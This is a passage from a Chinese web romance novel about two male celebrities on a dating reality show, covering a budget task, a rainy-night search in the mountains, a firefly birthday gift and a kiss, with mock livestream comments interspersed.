这不是他家万年历的那一句?!季沨从哪里知道的!? 陆屿洲脸色涨红,便看到季沨眉眼弯弯:“陆老师,你的标准变得有点快啊?” 不过他到底没舍得让陆屿洲太尴尬,抬手将他因为打人而弄歪的领带给摆正,顺带看了眼他手中的木芙蓉:“这花要我帮你别上吗?” 陆屿洲一点头,季沨接过花,领口的手指顺势滑落到胸口,陆屿洲注视着他低垂的眉眼:“这个……可以算礼物吗?” 不逢年不过节能算什么礼物,更何况只是路边树上的一朵花。 陆屿洲这话实在奇怪,又有些刻意拔高价值的嫌疑,季沨笑了,指尖在他心口处一顿:“当然不算。” “哦。” 陆屿洲点头,模样看起来似乎有些失落,便听到季沨说:“送给陆老师的礼物,怎么能这么轻率呢?” “等下送你个更好的,嗯?” 陆屿洲的眼睛一下子亮了:“好。” 果然是像是幼儿园的小朋友,季沨笑着为他将花别在领口,低垂的漂亮眉眼看起来很专注,鼻梁高挺,下方的嘴唇饱满嫣红,看起来…… 很好亲。 陆屿洲的视线不由得从他的嘴唇移到领口,露出的脖颈白皙修长,锁骨形状分明漂亮。 刚刚情绪起落后的余韵使人变得缱绻,更何况这是狭窄幽深的小巷。 陆屿洲不得不想起,自上期恋综结束,他和季沨,也快有一个月没有…… 没有上过床了。 虽然是这次的进步是拿了两条领带,但那好似饮鸩止渴,陆屿洲的喉头不由得动了一下。 季沨恰好在这个时候抬起眼来。 “那个,”陆屿洲忙着解释,“我是,我是看你的领口歪了!” 陆屿洲说着便要去替他整理,慌张地前行迈了一步,朝着季沨伸出手—— “等等!” 季沨说晚了一步,陆屿洲的手指按在他的领口,手臂的位置正好落在他的胸口。 陆屿洲微微动了动手臂,隔着薄薄一层衬衫,自己的皮肉接触到的,似乎并不是熟悉的柔软触感。 而是……材质分明的,金属。 摩擦的时候,似乎还能听到微微的锁链晃动的声音,陆屿洲睁大眼睛:“季沨,你这里……” “嗯。” 季沨没想到之前留着用来给陆屿洲灭火的杀手锏居然被这样一种方式给挑破,陆屿洲的动作让他耳垂不自觉漫上潮红,连声音也微哑:“之前……不是都说过要打吗?” 陆屿洲按在季沨锁骨上的手指不自觉地往下移了移,想象衬衫下的风景,连呼吸都变得灼热:“季沨,你说的礼物,不会是……” “不是。” 季沨被他逼到紧靠着墙壁,陆屿洲的动作让他的喉头溢出甜腻,忍不住道: “陆屿洲……你别动了。” 刚刚长好不久的伤口根本受不了他这样来回的试探,季沨微微偏过头,连耳尖都有些发抖: “有点痒……” 第39章 第三十九章 “陆老师?季老师?” 直到工作人员的声音传来, 二人这才松开手。 那只手只差一点就可以钻进领口看到那条乳/链的样子,陆屿洲被自己的想象搞得呼吸灼热,只能愤愤地按下胸膛的起伏, 语气自然也算不上不好:“知道了!” 镜头刚一对焦,正好捕捉陆屿洲阴沉的脸色。 仿佛是为了配合这句话, 陆屿洲原本下山时特意整好的发型是乱的,胸口的衬衫因为用力过度崩开了一颗扣子, 脖颈处有一点擦痕——季沨扯他领带的时候磨的。 连那张脸上也带着可疑的薄红。 【??????我错过了什么?!陆屿洲这是跟谁打架去了?!】 【那个……也不一定是打架吧, 正常人这个样子, 也可能是……咳咳。】 【CP脑你们别太离谱,不是打架还能是什么, 他俩在巷子里玩什么play?】 【就是断直播前最后的画面可是橘子撒了一地!这不是打架是什么!陆屿洲这脸一看就是气红的!】 【禁止造谣!禁止污蔑!我们陆哥脾气很好的, 之前有个摄像师让他躺在冰面上四个小时都没生气!】 【就是, 再说节目里他能跟谁打架啊?!】 【但是,有一说一 ,当时摊位前不是……】 陆屿洲前脚刚过,季沨后脚就从巷子里走了出来, 耳垂带着些薄红, 眼尾潮湿,领口的衬衫揪成一团,连额前的发丝也是乱的。 【卧槽?!!!陆屿洲和季沨打架了?!】 【妈的!!!!陆屿洲把风风给打哭了!】 【啊啊啊啊啊是当我们风滚草不存在吗陆宇宙我跟你拼了!】 【这也不能全怪陆屿洲吧, 他们俩本来之前不就传不合吗,季沨工作室那边还天天拆CP, 而且你们没发现他俩这期连人工糖精都不发了, 而且今天季沨还把陆屿洲一个留在林子里!估计早就憋着一架大的呢!】 【就是, 这只能算是互殴吧,季沨只是红了点眼睛, 人家陆屿洲脖子上还带伤呢,好歹是个模特。】 【他妈的你们行星粉不要太离谱好不好,明明是你们暗算,我们风风那么坚强的人怎么会哭呢?】 【风滚草才离谱行吗,宇宙那个智商能暗算谁啊,你怎么不说他一头栽你家怀里碰瓷啊,明明是你们下死手!】 【啊啊啊啊啊所以他俩武力值更强的其实是季沨吗?草啊我一直磕得与风来着妈呀原来真是记录吗啊啊啊啊啊啊啊陆屿洲你个不争气的东西CP站反跟杀了我有什么区别我不活了!】 【???啊啊啊啊啊啊啊不是!!!是我们宇宙!!!!我们宇宙才是1111111111!】 【???姐你冷静一点啊姐!???!!!】 陆屿洲心虚地看了一眼季沨。 季沨正在整理被他弄乱的领口,白皙修长的手指抚过脖颈,将松开的纽扣系起来,因为拉扯而绷紧的衬衫若隐若现地浮出乳/钉的形状。 之前没被注意的细节,在了解了之后就变得格外煎熬了起来。 如果只是手臂碰一下都会痒得呻/吟,那么衬衫穿衣服的时候也会磨到吗?季沨给自己戴上链子的时候也会碰到吗?如果轻轻扯一下的话,会发出更加甜腻美妙的声音吗? 藏在衬衫下的这条链子……是什么样的? 季沨低垂着眼眸,灵活的手指将揉乱的衬衫恢复平整,直到宽松的版型盖住了凸起的形状,指尖在胸口的位置若有似无地一抚,这才抬起头来。 陆屿洲神色一敛,像是被人踩了一脚一样立刻转过眼睛。 可是脸上加重的红色和起伏的胸膛却出卖了他的心情,季沨眉眼一挑:“陆老师。” 陆屿洲乖乖转过头来。 季沨没有自己动手,而是伸出一根手指,在自己的脖颈处轻轻一点:“领带歪了。” 陆屿洲脸色更加涨红,像个被人调戏的纯情处男,瞬间手忙脚乱地去系领带去了。 “陆老师,陆、老、师——” 眼看着规则讲了半天,还有人神游天外,潘叙忍不住发问:“你听到我刚刚说了什么吗?” “什么?”陆屿洲抬起头来。 潘叙无奈了,只好又讲了一遍:“今天劳动的成果,每对情侣共有旅行基金500元,需要承担两人住宿和餐饮的费用。” “当然,不同费用,也有不同的房型供大家选择。” “比如这一个,房价499元,2米情侣大床房,超大恒温浴缸,还有一整面可以欣赏到山景的落地窗……” “这一个,房价399元,1.8米阳光大床……” 潘叙后面还在说些什么,但是陆屿洲的耳朵自从听到落地窗三个字之后就已经失灵了。 不可否认,陆屿洲有时候……是很喜欢窗户镜子这些东西的。 他本来就很有些臭美的嫌疑,再加上和季沨两个人都颜值在线身材优越,仅仅是站着就足够养眼。 更何况是那种时候。 因为陷入汹涌的浪潮里眼尾发红的、失神的季沨,浑身充满痕迹,会不自觉地从唇齿间溢出声音的季沨,陆屿洲喜欢按着他的手腕,让季沨看看这种时候的他自己。 季沨手指会因为羞耻而蜷缩起来,陆屿洲却觉得可爱,贴在他的耳边叫他季老师,或者叫季沨,或者是什么别的东西,只要能让季沨那薄薄耳垂上的红色变得更加深邃,陆屿洲其实不是很在乎称呼。 而现在……只要想一想季沨戴着这个的样子被映在落地窗上。 陆屿洲就觉得自己快要疯了。 一个月没有碰过。 他的理智早在发现季沨身上的东西就已经燃烧殆尽,明明这个月他和季沨联系那么频繁,应该没有别的这方面的伴侣才对。 那么季沨为什么要突然打这个呢? 为什么要戴着这个上恋综,他难道就不怕…… 陆屿洲喉头干涩,想要往季沨的方向看但是又不太敢,只听得潘叙在耳边絮絮叨叨:“当然,各位的饮食也要从这500元里面支出,如果想要住宿好一点,那么饮食上只能稍稍委屈了……” “而且——” 潘叙刻意提高音量,瞬间拿了根树枝敲敲旁边的树干,像是老师提醒上课不专心的学生:“除去住宿和饮食剩下的钱,可以用于给双方购置礼物。” 陆屿洲的幻想被惊醒,勉为其难地看了他一眼,只捕捉到最后两个字:“礼物?” “对,”潘叙点点头,“我们这期的主题就是‘生活’,生活中的柴米油盐总是能消磨恋爱时的浪漫诗意,面对局促的金钱,每对情侣都可能面对恋爱观与消费观的碰撞。” “所以,除去房费和晚餐,有各位自己商议决定还能留给浪漫多少时间,不同价值的礼物将拥有不同时长的表白时间,由0到50分钟不等。” 听着更像是考验演员的职业修养与道德感,摘橘子卖橘子已经够累的了,还要顶着这样的疲惫放弃美味的晚餐和舒适的休息环境跟一个炒作的人互诉衷肠?! 也或许宋骁就是这个想法,演员无法保证永远都在状态,在身体的疲惫和情绪的崩溃下还要咬牙说出违心的台词,也许这个时候更能看出一个人对于角色的情感。 江沼和初禾不约而同地将目光投向了不远处的两元店,又因为公司和粉丝硬生生地给转了回来。 他们总算知道节目组让他们费这么大功夫摘橘子是为了什么了,一想到自己辛苦了一整天才换来的两百块钱却又要花给煞笔男人。 甚至觉得自己都是个煞笔。 倒是一旁的商序在本子上写写画画,何娇娇忍不住凑过去:“商老师,你这是在写什么?” “在算要花的钱啊。”商序说,“299用来定酒店,100用来晚餐,剩下的钱还可以给小辞买一副护腕。” “护腕?” “嗯,”商序眼眸带着淡淡的笑,像是在回忆,“我跟小辞是健身房里认识的,我当时上重量的时候差点扭伤手,他给我缠的护腕。” “现在想想,那对一直放在我家没有还给他,现在刚好买一个新的送给他吧。” 【啊啊啊啊好甜呀!】 【不愧是影帝啊,居然在这么短短两分钟里就想好了情节理由,商哥果然是稳定发挥!】 【安啦,就算是老派影帝也架不住老天爷赏饭吃的天赋流吧,我沨哥作为内娱第一海王在表白这个赛道上有过对手吗?】 【就是,打归打骂归骂,但是这俩人演偶像剧我是真爱看啊!】 【有季沨在这对肯定是赛点啦!别说是演50分钟,这人一天24小时有一分钟没在撩人吗?】 这一点陆屿洲非常有发言权,季沨只是靠在车边休息,衬衫因为动作绷直了点,他便觉得有些喘不过气。 “那季老师和陆老师呢?”潘叙显然也知道收视率在哪里,“二位怎么选?” 陆屿洲强迫自己的视线从那个落地窗上转开——如果订399的话,可以花50给季沨吃饭,然后再花50给季沨买礼物…… 他摸了摸领口的木芙蓉,又觉得50似乎是少了,可恶的节目组,如果不是要吃饭住宿他有500就能花500,那不然299,这样的话季沨就可以吃…… “我们要499的吧。” 陆屿洲还没想完,便听到季沨开口道。 “你确定吗季老师?”潘叙说,“这样的话等会儿表白任务的时候可是会没有二位的镜头哦。” 一个恋综的重头戏却没有镜头,等于说来这儿只剩免费苦力了,所以江沼和初禾就算是忍着不适也要把这段演了,不过季沨看起来似乎并不太在意,手指在领口的地方勾了勾,眼角带笑,转头望向陆屿洲:“要不要,陆老师?” 陆屿洲目光一直,盯着季沨的手指,像是他生怕他反悔一样:“要!” * “不是,可是全花了你们吃什么啊?” 半个小时后,江沼才在山坡上找到正弯着腰铲东西的陆屿洲:“要不我帮你想个办法,咱们去找商哥他们打麻将,这里到处都有麻将桌,打个娱乐局好歹能赢个面钱呢?” 看起来是自己想打但是三缺一,陆屿洲岿然不动,拿着小铲子在地上刨来刨去:“你去吧,我不去了。” “不是,”江沼看着地上倒下的一片绿色,陆屿洲戴着手套将一堆杂草一样的东西扔进篮子里,“你这是在干嘛,除草吗?打算以工抵债?” 陆屿洲皱起眉,对他这种说法十分不满,纠正道:“我在挖野菜。” “挖……什么?!”江沼瞪大眼睛,“你挖这玩意儿干啥?” “吃啊,”陆屿洲说,“你刚刚不是还问我晚上吃什么?” “你吃这个?” “那当然不行,”陆屿洲飞快地将几棵荠菜扔进篮子里,一边收拾一边道,“刚刚有个人说旁边的水塘里有鱼和虾,我等会儿去钓一点。” 这纯纯是大自然的馈赠,江沼匪夷所思:“节目组不是说我们只能使用自己赚来的钱吗?” “是啊,”陆屿洲点点头,认真地,“可是自己钓的又不要钱。” 他似乎觉得十分有道理,说完这话,还诚恳地询问江沼:“蒸荠菜、蘑菇炒肉、香辣虾、再炖一个鲫鱼汤,应该差不多了吧?” 这玩意儿比他们吃得都丰盛吧!江沼看着挖野菜陆屿洲:“你做饭?” “嗯。” “那季沨呢?” “季沨应该喜欢喝汤吧?”陆屿洲想了想,“他最近胃不太好。” “不是,那个,我是说,他不用做什么吗?” “他去定酒店了。” 定个酒店需要费什么力气吗? 江沼:“所以让你自己弄菜做饭?” 他看着陆屿洲这一脸诚挚的模样,怎么看好像也不是演的,要是真的为了搞什么宠夫人设,他花两百去念台词岂不是更好,于是皱眉语重心长道:“你不会是被季沨骗了吧?” “我跟你说,他这个人就是这样,平时花言巧语的一大堆,你看他第一期的时候,还让初禾给他打伞呢,季沨就是……” “你跟季沨很熟吗?” 陆屿洲突然将手中的东西一放站起身来,目光几乎是有些严肃的责备:“为什么要这么说他?” 江沼愣住了。 他跟季沨当然算不上什么无话不谈的知心好友,但是如果要说了解也确实也知道一些。 主要当年两个团天天被拉到一起,还有一些好事的综艺活动将大家排到一起,他想不知道都没有办法。 而且季沨这个人奸诈得很,他自己分明只是个门面担当,却在那次出道竞演的时候告诉江沼自己是舞担,江沼到处搜寻了季沨练习生时期的视频,针对他做了一系列完整周密的战术,结果一开场,人家坐在正中间当封面去了。 梁子从那时候就解下,江沼说他只是个露脸的花瓶,他便说江沼是个垫增高的矮子。 这么久过去,怼他都成为刻在基因里的习惯了,圈里任何一个刚入行的主持人都知道他俩不合,见面都要互掐两句,从来没有人问过江沼一句——“为什么要这么说他?” “他没有想要让初禾打伞的意思,但凡你看了直播回放就会知道,那把伞是他故意拿出来要给初禾的,”陆屿洲一字一句平静道,“你觉得他让我自己做饭,上一期我没帮忙的时候也是只有他会做饭吧,可是他还是站出来了,还有这一期……” “虽然当时让我去拍广告,但是你难道就没有发现,季沨刻意把平整的地段留给你们了。” “也许你只是在开玩笑,”陆屿洲道,“但是既然享受过他的照顾,还是不要在他不在的时候跟另一个人臆想他的恶劣吧。” 陆屿洲说完停了一会儿,确定跟过来的摄像能将自己的声音全部收录,这才道:“而且季沨没有把我一个人留在那。” “他替我做完了另外一半的工作,是我自己不要他等我的。” 他语气镇定且有理有据,好似守护在城墙外的骑士,季沨自己不开口的事情,他便非要替他一一解释清楚:“季沨只是没告诉我,可能是因为我说不用他帮忙,他有点生气。” “其实我当时只是觉得不想让他再弄脏手。” “不过季沨还是帮我做了,很多时候的有些事,他做了就做了,他不喜欢说这些,可能自己也没有意识到,”陆屿洲对江沼道,“但是即便他不觉得,我们也不能就这样当做没看到,对吧?” 江沼张了张嘴却发现自己无力辩驳。 印象中这还是陆屿洲这种总是冷淡的人第一次对他说这样的话,居然还……挺有道理。 “其实我……”江沼怼的季沨其实都是条件反射了,倒也没真的特别讨厌这个人,陆屿洲这么一说反倒让他有些不好意思,“我也不是……” 不过陆屿洲似乎也没有替季沨承担这份道歉的意思,而是继续道:“而且,他还给我带了花。” 即便生气还是给他重新带了花,即便是惹了他生气还是会哄他开心,好像陆屿洲在季沨那里永远有两次机会,一次教不会就再教一遍。 江沼眼睁睁看着陆屿洲那张冷峻的脸瞬间变得开心起来:“对了,季沨送过你花吗?” “?季沨为什么要送我花?!” 自己果然是比江沼要特殊的,陆屿洲高兴了:“那季沨带你去过他家里住吗?” 江沼毛骨悚然:“?!我为什么要住他家!” 原来是比江沼还要重要一点的朋友,陆屿洲满意了:“那季沨平常会给你发消息提醒你吃早饭吗?” 江沼要疯了,嘶吼道:“我不是gay!!!” “哦,”陆屿洲平静地点点头,“我是。” 江沼刚刚好容易挤出的一丝愧疚消失得无影无踪,觉得自己可能要恐同了。 不过也许是陆屿洲良心发现,拾起自己的铲子,主动问江沼:“你等会儿想不想吃虾?” “真的吗?”江沼瞬间又觉得可以原谅了,“还有我的份吗?” “嗯,”陆屿洲点点头,“饭店里卖138,我可以给你打个折,收你100。” “?!你收我钱干嘛?” “我想了想,还是要给季沨买一个礼物,100好像不太够,”陆屿洲想了想,又道,“你可以再喝点鱼汤吗,这个只要50一份就好了。” 江沼差点没把铲子拍在陆屿洲的脑袋上:“挖你的野菜去吧!” * “先生您好,这是您的房卡,这边右转有电梯,下电梯左转就到了。” “谢谢。” 前台把找零递到季沨的手边,他却没有接,扫了眼吧台旁边摆着的一瓶鲜切花,微笑道:“这个玫瑰怎么卖啊?” 讲话时带着一点撩人的尾音,前台脸颊一红,却还是尽职尽责道:“这个是我们装饰用的先生,不对外售卖。” “真的不行吗?”季沨将剩下的钱往桌上一推,“给我一支呗。” “可是,可是这个只能做装饰花吧,”天哪怎么会有人光是讲话就这么撩人,前台说,“我们枝叶都剪过了,就算给你也没办法重新包装了。” “没关系啦,不是送人。” “我男朋友喜欢房间里放鲜切花而已,”季沨说着,抬手将墨镜一摘,手臂搭在前台,漂亮的桃花眼微微弯起,央求道:“行行好啊,姐姐。” 片刻后,季沨抱着一块钱加颜值换来的一整束花往房间里走,将玫瑰重新加了水放在床头房间的花瓶里,又细细检查了一圈房间的大小和卫生情况:“这边应该挺干净的吧?” “您放心吧季老师,您和陆老师住的这个地方是整个节目组定的最高规格的,”毕竟是花了全部的钱,副导道,“床品都是刚刚更换的,浴缸也消杀过了。” “嗯。” 季沨这才点点头,目光还是谨慎地在卫生间巡视了一遍。 【检查这么仔细,季沨有洁癖吗?】 【没有吧,看他今天上树那么流畅的动作也不像是洁癖啊。】 【就是,洁癖的应该是毛毛虫那位吧,截图已经被我做了表情包了嘻嘻。】 【陆屿洲:?你礼貌吗?】 【所以季沨是为了lyz才检查这么仔细的吗?卧槽怎么回事我好像磕到了。】 【对啊对啊,而且他刚刚抱花回来也说的是男朋友喜欢房间里放鲜切花吧,卧槽不愧是你啊季沨这都能发糖好甜好甜啊!】 【这对就是很好磕啊,陆屿洲在那边也说是季沨胃不好所以才炖汤,季沨这里因为陆屿洲有洁癖所以细心检查啊啊啊啊这种不自知的双向惦念才是情侣的正确打开方式吧,不比那些工业糖精强多了!】 【真的,这对恋爱感好强,要是我跟男朋友出游资金有限,肯定也是把钱都花在刀刃上的。】 【而且季沨还偷偷帮陆屿洲做事!陆屿洲还偷偷帮季沨正名!他们真的没有在恋爱吗我感觉不需要表白我都能磕出一场大戏了。】 【对啊对啊陆屿洲还为了季沨挖野菜,陆大少爷这辈子的活都在今天干了吧卧槽卧槽卧槽这种钓系年上真的磕死!】 【冷静!冷静!姐妹们,这些都是综艺,综艺都是有台本的,说不定就是故意这么设计的!不然他们怎么可能一分钱不留呢, 499和399的房间也没差多少啊,难不成是为了那个浴缸吗?】 【就是,都是演技罢了,白瞎了这么大的房间,说不定晚上还要分床睡呢。】 季沨的目光在那扇落地窗上扫了一眼。 潘叙说得不错,窗户很大,这里确实望出去,确实是一片翠绿的山景,只是天色渐暗,还能看到一点萤火闪烁其间。 季沨垂眸看了眼腕上的手表,离十二点还剩四个小时。 随后抬步出门,顺带用一只手帮摄像按下了开关:“我还有点私事要办,王导,能不能先不用派人跟过来?” 季沨想了想,又道:“如果陆老师回来,让他先在这里等我一会儿好了。” * 抓虾捞鱼挖野菜采蘑菇,等陆屿洲凭着他那张脸跟旁边的居民借了厨房做好饭的时候,天色已经完全暗了。 陆屿洲出门时才发现下了雨,雨势很大,几乎刚一踏出院子鞋面就淋得湿透,工作人员赶紧给他递了把伞。 陆屿洲一只手握着伞骨,另一只手拎着保温桶,看着外面暗沉沉的天色,莫名皱起了眉。 但他现在又没有办法联系季沨,只能先一路开到了酒店,下车的时候用手指感受了一下,汤和菜都还热着,不错,等会儿季沨就可以直接喝了。 就是晚了点,处理生鱼要比市场上的费了点时间,不过既然是山林里的,味道应该要比人工养殖的好一些? 他今天运气好,钓虾的时候还找到一只螃蟹,想象季沨吃饭的样子,陆屿洲碰了碰口袋里要送给季沨的礼物,不由得轻笑了下,正要进去,便听到工作人员的声音:“陆老师你回来了!” “嗯。” 嘀嗒一声,门锁打开,房间里空空荡荡,陆屿洲还没来得及注意到床头的花,扭头道:“季沨呢?” “季老师说让您回来之后先在这里等他。” 陆屿洲将保温桶往旁边一放,窗外的大雨让他不由得拧起了眉:“他去哪了?” “季老师……”周围的声音低下去,“我们还在联系,他刚刚说自己有点私事没让摄像跟,我们也是现在才知道他进了山 。” “谁知道突然下这么大的雨……他又没有带手机……” “对啊……这边深山老林的……” 陆屿洲深吸一口气,脸色瞬间变了。 “哎!陆老师你去哪?!” 来不及等电梯,陆屿洲几乎是跑楼梯下去,没撑伞便扭头往外跑,眉眼湿透,脸色阴沉,车子在水洼里溅出一片泥泞:“他从哪里进的山!” 第40章 第四十章 “季老师?” “季老师你在吗?” “这边没有, 换个地方,你们两个去那边!” “这么大的雨能去哪,会不会已经回去了?” “不会, 张哥他们一直在外面守着呢,要是回去肯定一眼就能看到!” “可是这么晚了, 这里黑,不会出什么事吧……” 山中昏暗, 暴雨的冲刷让旁边的灌木都变得东倒西歪。 陆屿洲下了车, 一脚踏进了淤泥, 他连伞都没有来得及撑,一把接过手电筒, 猛地冲进了山里。 如果是在之前的橘林, 树木间隙大, 也许还比较好找,但是季沨居然是从另一侧进的山,到处都是矮林和杂草,手电的光在地面形成一片惨白的痕迹: “季沨?” “季沨, 你在哪?” 地上因为雨水湿滑, 旁边便是斜坡和下面深不见底的沟壑,陆屿洲手心一片冷汗,心脏从未跳得这么快, 几乎是强迫自己转过视线。 没人知道季沨这么晚进山做什么,自然也无从辨别寻找方向, 这片山脉这么长, 陆屿洲手指掐进掌心, 一脚踢开地上滚落的毛栗,正欲继续向前。 手电筒又回来照了一个来回。 好像……不是栗子。 光源的聚焦的地方, 大雨冲刷着金属盘面,旁边的碎钻在灯光下闪烁,LOGO即便是在夜色里也清晰可见——是季沨今天戴的那只腕表。 季沨今天还对着众人说这是很重要的人送的,现在便孤零零地躺在这里。 陆屿洲的脸色瞬间变得和手电的光一样惨白。 心脏像是快要破裂,他不敢再想刚刚看到的斜坡,也不记得季沨今天走的时候这块表到底在不在他的手腕上, 陆屿洲大步往前跑去:“季沨!” “季沨!!!” 冰冷的表盘咯在他的手心,灌木和水洼让他的裤腿溅上了淤泥,陆屿洲顾不得管,抬手扒开缠绕的藤蔓。 茂密的枝叶掩盖下,陆屿洲终于见到了那道颀长的身影,季沨身上的衬衫被暴雨淋得湿透,却弯着腰,正焦急地在周围的草丛中寻找着什么。 “季沨!” 季沨一抬头,腰身便被人一把揽住,陆屿洲压着他靠在一棵百年的榆树下,肩膀被捏得很紧,硕大的树冠暂时遮蔽了一部分风雨。 陆屿洲的指尖很凉,动作却急切,在季沨身上扫了一个来回:“你怎么样,你有没有事?” “没事。”季沨摇摇头,“我没想到会突然下这么大的雨,我只是……” “在找东西?” 季沨讶异地一抬头,疑问他怎么知道。 陆屿洲的手里攥着那只手表,他的头发全被大雨里淋湿了,裤脚上和鞋面上都是淤泥,衬衫也乱着,季沨第一次见他这么狼狈的样子,可是陆屿洲此刻好像完全顾不上了,直勾勾地盯着季沨,那双眼睛由于刚刚的过度紧张而带上了红血丝,手腕抬了抬,将掌心被大雨冲刷过的手表给他看,声线沙哑:“你是……在找这个吗?” “嗯。” “你!”陆屿洲很想像今天白天一样痛骂出口——那块手表就那么重要吗?能让你冒着大雨进深山来找?不知道这有多么危险吗?那个人就这么重要吗,让你五年了还念念不忘,可是他又从来没回头找过你!这种人怎么能配让你惦记! 可是季沨眼睁睁看着他嘴唇张了又张,最后眼眶都变得有些发红,却只听到一声呜咽的:“……这个,很重要吗?” 陆屿洲的声音又低又沮丧,没人会用这个语气吵架,听起来更像是在焦急和委屈:“你知不知道这么大的雨,你要是……” “嗯,”季沨注视着他的眉眼,“确实……还挺重要的。” 陆屿洲呼吸一顿。 比白天更加汹涌的难过和委屈涌上来,大雨让他琥珀色的眼睛变得湿润,奔跑和焦急都让肺腑的空气变得稀薄,连带着心脏一起疼痛。 陆屿洲知道自己不该问,如果他清醒便知道自己不该问。 但是他见到季沨的那一刻便什么都忘了。 那些所有的焦急、担忧、思念和委屈,都是这场秋日的暴雨一样朝他涌来,陆屿洲感觉自己在下沉,在淹没,那些溢出的情感快要漫过他的鼻腔,而眼前的人是他唯一能解脱的浮木。 他张口,觉得喉头发涩:“是谁……送给你的?” “之前……你们关系很好吗?” 季沨:“你很在意?” “对,我在意。” 季沨从车上开始就一直预想的对话终于开始了,可是另一位主角却仿佛并没有预想中的愤怒和质问,陆屿洲声音低哑,眼圈泛红:“我知道我不该这么在意。” “我知道我不该问你。” “但是我控制不住我自己,我总是会想……” “五年前你们关系很好吗?” “那时候你是什么样子?他眼中的你是什么样子?” “我甚至会觉得……”陆屿洲别过头去,声音很闷,“你这么好的人,可是他居然能五年都不联系你,还送你根本不合适的手表,可能,可能他也不是什么合适的人吧。” “我知道这种想法很恶劣,我知道,”他不再看季沨,“但是我控制不住,我不知道,我就是嫉妒他,我就是很在意,季沨……” 冒着大雨找过来,明明这么担心,明明这么生气。 可陆屿洲却像一只笨拙的小狗,在大雨里一遍一遍地衔着主人的裤脚,委屈又焦急。 却唯独没有愤怒。 准备好的台词、身上带的装饰、费尽心机的套路。 等待着陆屿洲在生气发怒之后说出的话,顺理成章的夜晚,若即若离的态度。 它们全都落空了。 季沨注视着陆屿洲发红的眼眶,和那张被雨水打湿的俊逸脸庞,刹那间,他好似突然理解了。 陆屿洲也许就是这种人。 永远只会因为别人的错误苛责自己,一边念着清规戒律一边犯规,可那些溢出来的情感永远都是温柔的一面,说了当断则断却还是追到了恋综,说了恪守界限却还是因为担心进了家门,说了第二天就离开却还是做好了饭等着季沨。 可是见到季沨跟初禾暧昧,他宁愿捏碎杯子自己上台也不会去说季沨一个字的错,看到季沨手上的腕表,他宁愿自己一个人做完整片橘林的工作也不愿意对季沨发一个字的火。 陆屿洲就是这样的人。 他可以因为有人欺负了季沨而发疯,自己受委屈的时候却只能呜咽,好像是愚蠢又忠诚的小狗。 明明是可以质问的啊。 为什么结束关系?为什么若即若离?为什么惦记着另一个人却又撩拨他? 明明是季沨一直在接近他,明明有那么多的机会可以质问,怎么事到临头连说句别人的坏话都觉得抱歉。 笨蛋。 世界上怎么会有陆屿洲这么笨的笨蛋呢? 笨蛋笨蛋笨蛋笨蛋笨蛋笨蛋笨蛋笨蛋笨蛋笨蛋。 白天的时候还振振有词,这种时候——怎么不想想自己呢? 那你呢,陆屿洲? 季沨轻轻喟叹一声,随即泛起密密麻麻的心疼。 那些已经定好的计划推翻了,季沨心中竟然不觉得有什么。 陆屿洲接吻是他教的,上/床是他教的,吃醋是他教的,在意是他教的,再多教一点,好像也不是什么大不了的事吧? 毕竟今天是个很好的日子。 不该这么难过。 “陆屿洲。”季沨说,“过来。” 季沨招招手,陆屿洲立刻便又转过身,小狗一样很乖巧地低下头,看着季沨从他的身上摸出纸巾,将那张脸上淋湿的水痕一点点地擦去了,他的动作很轻,手指在发红眼尾碰了碰:“别哭了。” 陆屿洲更深地埋下头:“我没有哭。” “我不是为了找这块表才出门的,”季沨轻声解释,“我只是刚刚出门有事情,才把它丢在了山里。” “……什么事?” “不是说好了送你一个别的吗?” 季沨拍拍他的脸颊:“抬头,陆屿洲。” “你不想看看我给你准备的礼物吗?” 陆屿洲猛地抬起头来。 他不知道季沨从哪里拿出了一个玻璃罐子,外壳被雨淋湿了,但是里面却亮晶晶的,季沨一抬手,无数萤火虫就涌了出来。 这点光芒在让雨夜变得温暖炙热,淡绿色的荧光绕着夜色飞舞,周围在下雨,天色暗淡,只他们这一片藏在大树下的干燥和光亮。 “我记得,你的粉丝叫小行星对不对?” 季沨轻笑着,那张漂亮的脸被这一点光亮映得温柔:“今天下雨,没有星空可以看了。” “不过……我听说萤火虫是夜色里的星星。” 季沨说这话的时候什么也没有想,他向来走一步看三步,唯有这一刻,他没有去想这个没有写在词条上,没有写在微博上,没有在之前的任何采访里出现过却成为他家门锁密码的日期意味着什么—— 他只是注视着陆屿洲,注视着萦绕在他们之间的,过了一夜就会熄灭的漂亮的萤火。 爱在黎明降临前。 一点盈盈绕过眉心,季沨轻声说: “陆屿洲,生日快乐。” 40-50 第41章 第四十一章 陆屿洲有两个生日。 这当然并不意味着他出生了两次。 只是因为每个人的出生日期其实都有两个算法。 一个农历, 一个公历。 但是农历错综复杂,且每一年的月份和天数都不整齐,一般来说大家都普遍过公历。 可谁让陆屿洲他爸那时候正沉迷于周易玄学五行八卦, 非要自己的儿子按照生辰八字节气轮转。 于是陆屿洲从小就有两个生日,一个用来举办宴会, 应酬媒体和宾客,另一个才会一家人聚在一起认真庆祝。 倒也没庆祝几年, 陆程易和杰西卡就离婚了。 后来陆程易忙着满世界探索人生, 杰西卡的手机上压根没有农历。 陆屿洲很早就不过了。 这种日期自然也不是会讲述给粉丝和节目组, 陆屿洲也并不期待会收到任何人的祝福,唯一有点高兴的可能是今天接过季沨递来的芙蓉花。 他试图把这个当作是自己的生日礼物, 可季沨告诉他不是, 不仅不是, 他还准备了新的。 他不是来找那块手表的。 他是为了他……捉了一整晚的萤火虫。 也许陆屿洲这个时候应该怀疑,应该审视,明明只在床上认识了半年的季沨是如何在社交媒体都没公布的情况下越过众人知道他这个日子,还有他门锁密码上可疑的数字。 但是都没有, 看到季沨笑容的那一刻, 陆屿洲心中其实只剩下一个念头—— 他想吻他。 不是朋友也不是床伴,没有任何关系的界限也没有任何理性。 只是……他想吻他。 陆屿洲想吻季沨。 鬓发被雨水打湿的季沨,被萤火虫环绕的季沨, 弯起眼睛的季沨。 闪着微光的萤火环绕着他们,雨水和夜色仿佛能为心跳加冕, 血管快要破裂, 无法再像白天一样克制, 多一秒都不行。 陆屿洲想吻季沨。 腰身被揽住,脊背撞上树干, 温热的气息猛地靠近,舌头急切地撬开齿关,却又在上唇温柔地舔舐,好像是依恋的小狗,一点一点地品尝着美味的佳肴。 季沨身上的香气带了一点雨水的味道,被洗过的湖水一样清淡,陆屿洲开始搅动他的舌头,压住之后再慢慢地吮吸,听着一点呜咽从季沨的喉头发出,让他觉得满足。 